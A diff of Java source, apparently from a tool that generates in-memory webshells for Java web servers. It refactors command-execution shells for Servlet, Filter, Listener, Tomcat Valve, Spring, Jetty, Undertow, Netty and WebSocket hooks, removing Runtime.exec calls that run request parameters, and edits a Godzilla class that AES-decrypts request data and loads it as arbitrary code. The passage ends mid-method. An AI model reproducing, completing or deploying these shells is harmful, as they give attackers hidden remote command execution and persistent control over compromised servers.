String param = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
|
||||
if (param != null) {
|
||||
InputStream inputStream = getInputStream(param);
|
||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
@@ -36,12 +28,21 @@ public class Command {
|
||||
}
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String param) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Object unwrapRequest(Object request) {
|
||||
Object internalRequest = request;
|
||||
while (true) {
|
||||
@@ -58,6 +59,7 @@ public class Command {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Object unwrapResponse(Object response) {
|
||||
Object internalResponse = response;
|
||||
while (true) {
|
||||
|
||||
+12
-9
@@ -15,16 +15,11 @@ import java.io.InputStream;
|
||||
public class CommandControllerHandler implements Controller {
|
||||
public static String paramName;
|
||||
|
||||
|
||||
public CommandControllerHandler() {
|
||||
}
|
||||
|
||||
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
|
||||
try {
|
||||
String cmd = request.getParameter(paramName);
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
String param = getParam(request.getParameter(paramName));
|
||||
if (param != null) {
|
||||
InputStream inputStream = getInputStream(param);
|
||||
ServletOutputStream outputStream = response.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
@@ -32,9 +27,17 @@ public class CommandControllerHandler implements Controller {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String param) throws Exception {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
+16
-18
@@ -13,27 +13,14 @@ import java.io.InputStream;
|
||||
public class CommandFilter implements Filter {
|
||||
private static String paramName;
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String cmd) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
||||
HttpServletResponse servletResponse = (HttpServletResponse) response;
|
||||
String cmd = getParam(servletRequest.getParameter(paramName));
|
||||
try {
|
||||
if (cmd != null) {
|
||||
InputStream inputStream = getInputStream(cmd);
|
||||
String param = getParam(servletRequest.getParameter(paramName));
|
||||
if (param != null) {
|
||||
InputStream inputStream = getInputStream(param);
|
||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
@@ -42,14 +29,25 @@ public class CommandFilter implements Filter {
|
||||
}
|
||||
return;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String param) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
}
|
||||
}
|
||||
+22
-19
@@ -6,6 +6,7 @@ import org.springframework.web.reactive.function.server.ServerResponse;
|
||||
import reactor.core.publisher.Mono;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.InputStream;
|
||||
import java.io.InputStreamReader;
|
||||
import java.util.Optional;
|
||||
|
||||
@@ -18,30 +19,32 @@ public class CommandHandlerFunction implements HandlerFunction<ServerResponse> {
|
||||
|
||||
@Override
|
||||
public Mono<ServerResponse> handle(ServerRequest request) {
|
||||
Optional<String> cmdOptional = request.queryParam(paramName);
|
||||
if (!cmdOptional.isPresent()) {
|
||||
Optional<String> paramOptional = request.queryParam(paramName);
|
||||
if (!paramOptional.isPresent()) {
|
||||
return Mono.empty();
|
||||
}
|
||||
System.out.println("hanlder function cmd " + cmdOptional.get());
|
||||
StringBuilder result = new StringBuilder();
|
||||
try {
|
||||
StringBuilder result = new StringBuilder();
|
||||
try {
|
||||
String cmd = cmdOptional.get();
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()))) {
|
||||
String line;
|
||||
while ((line = bufferedReader.readLine()) != null) {
|
||||
result.append(line);
|
||||
result.append(System.lineSeparator());
|
||||
}
|
||||
String param = getParam(paramOptional.get());
|
||||
InputStream inputStream = getInputStream(param);
|
||||
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream))) {
|
||||
String line;
|
||||
while ((line = bufferedReader.readLine()) != null) {
|
||||
result.append(line);
|
||||
result.append(System.lineSeparator());
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return ServerResponse.ok().body(Mono.just(result.toString()), String.class);
|
||||
} catch (Exception ex) {
|
||||
ex.printStackTrace();
|
||||
return ServerResponse.ok().body(Mono.just(ex.getMessage()), String.class);
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return ServerResponse.ok().body(Mono.just(result.toString()), String.class);
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String param) throws Exception {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
+21
-19
@@ -4,6 +4,7 @@ import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.server.ServerWebExchange;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.InputStream;
|
||||
import java.io.InputStreamReader;
|
||||
|
||||
/**
|
||||
@@ -13,30 +14,31 @@ import java.io.InputStreamReader;
|
||||
public class CommandHandlerMethod {
|
||||
public static String paramName;
|
||||
|
||||
public CommandHandlerMethod() {
|
||||
}
|
||||
|
||||
public ResponseEntity<?> invoke(ServerWebExchange exchange) {
|
||||
String param = getParam(exchange.getRequest().getQueryParams().getFirst(paramName));
|
||||
StringBuilder result = new StringBuilder();
|
||||
try {
|
||||
String cmd = exchange.getRequest().getQueryParams().getFirst(paramName);
|
||||
StringBuilder result = new StringBuilder();
|
||||
try {
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()))) {
|
||||
String line;
|
||||
while ((line = bufferedReader.readLine()) != null) {
|
||||
result.append(line);
|
||||
result.append(System.lineSeparator());
|
||||
}
|
||||
if (param != null) {
|
||||
InputStream inputStream = getInputStream(param);
|
||||
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream))) {
|
||||
String line;
|
||||
while ((line = bufferedReader.readLine()) != null) {
|
||||
result.append(line);
|
||||
result.append(System.lineSeparator());
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return ResponseEntity.ok(result.toString());
|
||||
} catch (Exception ex) {
|
||||
return ResponseEntity.ok(ex.getMessage());
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return ResponseEntity.ok(result.toString());
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String param) throws Exception {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
+12
-9
@@ -15,17 +15,12 @@ import java.io.InputStream;
|
||||
public class CommandInterceptor implements AsyncHandlerInterceptor {
|
||||
public static String paramName;
|
||||
|
||||
|
||||
public CommandInterceptor() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||
try {
|
||||
String cmd = request.getParameter(paramName);
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
String param = getParam(request.getParameter(paramName));
|
||||
if (param != null) {
|
||||
InputStream inputStream = getInputStream(param);
|
||||
ServletOutputStream outputStream = response.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
@@ -34,12 +29,20 @@ public class CommandInterceptor implements AsyncHandlerInterceptor {
|
||||
}
|
||||
return false;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String param) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
|
||||
|
||||
|
||||
+15
-15
@@ -10,14 +10,6 @@ import java.io.OutputStream;
|
||||
public class CommandJettyHandler {
|
||||
private static String paramName;
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String cmd) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean equals(Object obj) {
|
||||
Object[] args = ((Object[]) obj);
|
||||
@@ -41,23 +33,31 @@ public class CommandJettyHandler {
|
||||
response = args[1];
|
||||
}
|
||||
try {
|
||||
String cmd = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
|
||||
if (cmd != null) {
|
||||
if (baseRequest != null) {
|
||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||
}
|
||||
InputStream inputStream = getInputStream(cmd);
|
||||
String param = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
|
||||
if (param != null) {
|
||||
InputStream inputStream = getInputStream(param);
|
||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
if (baseRequest != null) {
|
||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String param) throws Exception {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
+18
-20
@@ -13,30 +13,14 @@ import java.io.InputStream;
|
||||
public class CommandListener implements ServletRequestListener {
|
||||
private static String paramName;
|
||||
|
||||
public CommandListener() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent sre) {
|
||||
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String cmd) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
String cmd = getParam(request.getParameter(paramName));
|
||||
if (cmd != null) {
|
||||
String param = getParam(request.getParameter(paramName));
|
||||
if (param != null) {
|
||||
HttpServletResponse servletResponse = (HttpServletResponse) getResponseFromRequest(request);
|
||||
InputStream inputStream = getInputStream(cmd);
|
||||
InputStream inputStream = getInputStream(param);
|
||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
@@ -44,11 +28,25 @@ public class CommandListener implements ServletRequestListener {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
private Object getResponseFromRequest(Object request) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String param) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent sre) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
+21
-12
@@ -8,6 +8,7 @@ import io.netty.channel.ChannelHandlerContext;
|
||||
import io.netty.handler.codec.http.*;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.InputStream;
|
||||
import java.io.InputStreamReader;
|
||||
import java.net.URI;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
@@ -25,23 +26,23 @@ public class CommandNettyHandler extends ChannelDuplexHandler {
|
||||
if (msg instanceof HttpRequest) {
|
||||
HttpRequest request = (HttpRequest) msg;
|
||||
HttpHeaders headers = request.headers();
|
||||
String uri = request.uri();
|
||||
String cmd = getParameter(uri, paramName);
|
||||
if (cmd == null) {
|
||||
String param = getParam(getParamFromUrl(request.uri(), paramName));
|
||||
if (param == null) {
|
||||
ctx.fireChannelRead(msg);
|
||||
return;
|
||||
}
|
||||
StringBuilder result = new StringBuilder();
|
||||
try {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()))) {
|
||||
InputStream inputStream = getInputStream(param);
|
||||
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream))) {
|
||||
String line;
|
||||
while ((line = bufferedReader.readLine()) != null) {
|
||||
result.append(line);
|
||||
result.append(System.lineSeparator());
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
send(ctx, result.toString());
|
||||
} else {
|
||||
@@ -49,7 +50,14 @@ public class CommandNettyHandler extends ChannelDuplexHandler {
|
||||
}
|
||||
}
|
||||
|
||||
public String getParameter(String requestUrl, String paramName) throws Exception {
|
||||
private void send(ChannelHandlerContext ctx, String context) throws Exception {
|
||||
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.copiedBuffer(context, StandardCharsets.UTF_8));
|
||||
response.headers().set("Content-Type", "text/plain; charset=UTF-8");
|
||||
response.headers().set(HttpHeaderNames.CONTENT_LENGTH, response.content().readableBytes());
|
||||
ctx.channel().writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
|
||||
}
|
||||
|
||||
public String getParamFromUrl(String requestUrl, String paramName) throws Exception {
|
||||
URI uri = new URI(requestUrl);
|
||||
String query = uri.getQuery();
|
||||
if (query == null) {
|
||||
@@ -69,10 +77,11 @@ public class CommandNettyHandler extends ChannelDuplexHandler {
|
||||
return null;
|
||||
}
|
||||
|
||||
private void send(ChannelHandlerContext ctx, String context) throws Exception {
|
||||
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.copiedBuffer(context, StandardCharsets.UTF_8));
|
||||
response.headers().set("Content-Type", "text/plain; charset=UTF-8");
|
||||
response.headers().set(HttpHeaderNames.CONTENT_LENGTH, response.content().readableBytes());
|
||||
ctx.channel().writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String param) throws Exception {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
+12
-12
@@ -20,20 +20,12 @@ public class CommandServlet extends HttpServlet {
|
||||
doPost(req, resp);
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String cmd) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
|
||||
String cmd = getParam(request.getParameter(paramName));
|
||||
String param = getParam(request.getParameter(paramName));
|
||||
try {
|
||||
if (cmd != null) {
|
||||
InputStream inputStream = getInputStream(cmd);
|
||||
if (param != null) {
|
||||
InputStream inputStream = getInputStream(param);
|
||||
ServletOutputStream outputStream = response.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
@@ -41,8 +33,16 @@ public class CommandServlet extends HttpServlet {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String param) throws Exception {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
+12
-12
@@ -10,14 +10,6 @@ import java.io.OutputStream;
|
||||
public class CommandUndertowServletHandler {
|
||||
private static String paramName;
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String cmd) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean equals(Object obj) {
|
||||
Object[] args = ((Object[]) obj);
|
||||
@@ -30,9 +22,9 @@ public class CommandUndertowServletHandler {
|
||||
}
|
||||
Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
|
||||
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
|
||||
String cmd = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
|
||||
if (cmd != null) {
|
||||
InputStream inputStream = getInputStream(cmd);
|
||||
String param = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
|
||||
if (param != null) {
|
||||
InputStream inputStream = getInputStream(param);
|
||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
@@ -41,9 +33,17 @@ public class CommandUndertowServletHandler {
|
||||
}
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String param) throws Exception {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
+12
-12
@@ -15,20 +15,12 @@ import java.io.InputStream;
|
||||
public class CommandValve implements Valve {
|
||||
private static String paramName;
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String cmd) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
String cmd = getParam(request.getParameter(paramName));
|
||||
try {
|
||||
if (cmd != null) {
|
||||
InputStream inputStream = getInputStream(cmd);
|
||||
String param = getParam(request.getParameter(paramName));
|
||||
if (param != null) {
|
||||
InputStream inputStream = getInputStream(param);
|
||||
ServletOutputStream outputStream = response.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
@@ -37,12 +29,20 @@ public class CommandValve implements Valve {
|
||||
}
|
||||
return;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String cmd) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
|
||||
|
||||
+16
-7
@@ -8,6 +8,7 @@ import org.springframework.web.server.WebFilterChain;
|
||||
import reactor.core.publisher.Mono;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.InputStream;
|
||||
import java.io.InputStreamReader;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
|
||||
@@ -20,27 +21,35 @@ public class CommandWebFilter extends ClassLoader implements WebFilter {
|
||||
|
||||
@Override
|
||||
public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
|
||||
String cmd = exchange.getRequest().getQueryParams().getFirst(paramName);
|
||||
if (cmd == null) {
|
||||
String param = getParam(exchange.getRequest().getQueryParams().getFirst(paramName));
|
||||
if (param == null) {
|
||||
return chain.filter(exchange);
|
||||
}
|
||||
return exchange.getResponse().writeWith(getResult(cmd));
|
||||
return exchange.getResponse().writeWith(getResult(param));
|
||||
}
|
||||
|
||||
private Mono<DataBuffer> getResult(String cmd) {
|
||||
private Mono<DataBuffer> getResult(String param) {
|
||||
StringBuilder result = new StringBuilder();
|
||||
try {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()))) {
|
||||
InputStream inputStream = getInputStream(param);
|
||||
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream))) {
|
||||
String line;
|
||||
while ((line = bufferedReader.readLine()) != null) {
|
||||
result.append(line);
|
||||
result.append(System.lineSeparator());
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8)));
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String param) throws Exception {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
+9
-14
@@ -5,7 +5,6 @@ import javax.websocket.EndpointConfig;
|
||||
import javax.websocket.MessageHandler;
|
||||
import javax.websocket.Session;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
|
||||
/**
|
||||
@@ -18,14 +17,6 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
|
||||
|
||||
private Session session;
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String cmd) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onMessage(String cmd) {
|
||||
try {
|
||||
@@ -37,12 +28,8 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
session.getBasicRemote().sendText(outputStream.toString());
|
||||
} catch (Exception e) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
try {
|
||||
session.close();
|
||||
} catch (IOException ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -51,4 +38,12 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
|
||||
this.session = session;
|
||||
session.addMessageHandler(this);
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String param) throws Exception {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
+30
-34
@@ -36,12 +36,12 @@ public class Godzilla extends ClassLoader {
|
||||
byte[] data = base64Decode(parameter);
|
||||
data = this.x(data, false);
|
||||
Object session = request.getClass().getMethod("getSession").invoke(request);
|
||||
Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload");
|
||||
if (sessionPayload == null) {
|
||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", (new Godzilla(Thread.currentThread().getContextClassLoader())).Q(data));
|
||||
Object cache = session.getClass().getMethod("getAttribute", String.class).invoke(session, key);
|
||||
if (cache == null) {
|
||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, (new Godzilla(Thread.currentThread().getContextClassLoader())).Q(data));
|
||||
} else {
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class<?>) sessionPayload).newInstance();
|
||||
Object f = ((Class<?>) cache).newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
f.equals(data);
|
||||
@@ -53,7 +53,8 @@ public class Godzilla extends ClassLoader {
|
||||
}
|
||||
return true;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
@@ -62,36 +63,32 @@ public class Godzilla extends ClassLoader {
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
|
||||
base64 = contextClassLoader.loadClass("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder", true, Thread.currentThread().getContextClassLoader());
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = contextClassLoader.loadClass("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64", false, Thread.currentThread().getContextClassLoader());
|
||||
base64 = contextClassLoader.loadClass("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder", false, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = contextClassLoader.loadClass("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
@@ -101,22 +98,20 @@ public class Godzilla extends ClassLoader {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
Class<?> cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader());
|
||||
Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader());
|
||||
Constructor<?> constructor = secretKeySpecClass.getConstructor(byte[].class, String.class);
|
||||
Method initMethod = cipherClass.getMethod("init", int.class, Key.class);
|
||||
Object c = cipherClass.getMethod("getInstance", String.class).invoke(null, "AES");
|
||||
|
||||
initMethod.invoke(c, m ? 1 : 2, constructor.newInstance(key.getBytes(), "AES"));
|
||||
Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
|
||||
return ((byte[]) doFinalMethod.invoke(c, s));
|
||||
} catch (Exception var4) {
|
||||
return null;
|
||||
}
|
||||
@SuppressWarnings("all")
|
||||
public byte[] x(byte[] s, boolean m) throws Exception {
|
||||
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
|
||||
Class<?> cipherClass = contextClassLoader.loadClass("javax.crypto.Cipher");
|
||||
Class<?> secretKeySpecClass = contextClassLoader.loadClass("javax.crypto.spec.SecretKeySpec");
|
||||
Constructor<?> constructor = secretKeySpecClass.getConstructor(byte[].class, String.class);
|
||||
Method initMethod = cipherClass.getMethod("init", int.class, Key.class);
|
||||
Object c = cipherClass.getMethod("getInstance", String.class).invoke(null, "AES");
|
||||
initMethod.invoke(c, m ? 1 : 2, constructor.newInstance(key.getBytes(), "AES"));
|
||||
Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
|
||||
return ((byte[]) doFinalMethod.invoke(c, s));
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Object unwrapRequest(Object request) {
|
||||
Object internalRequest = request;
|
||||
while (true) {
|
||||
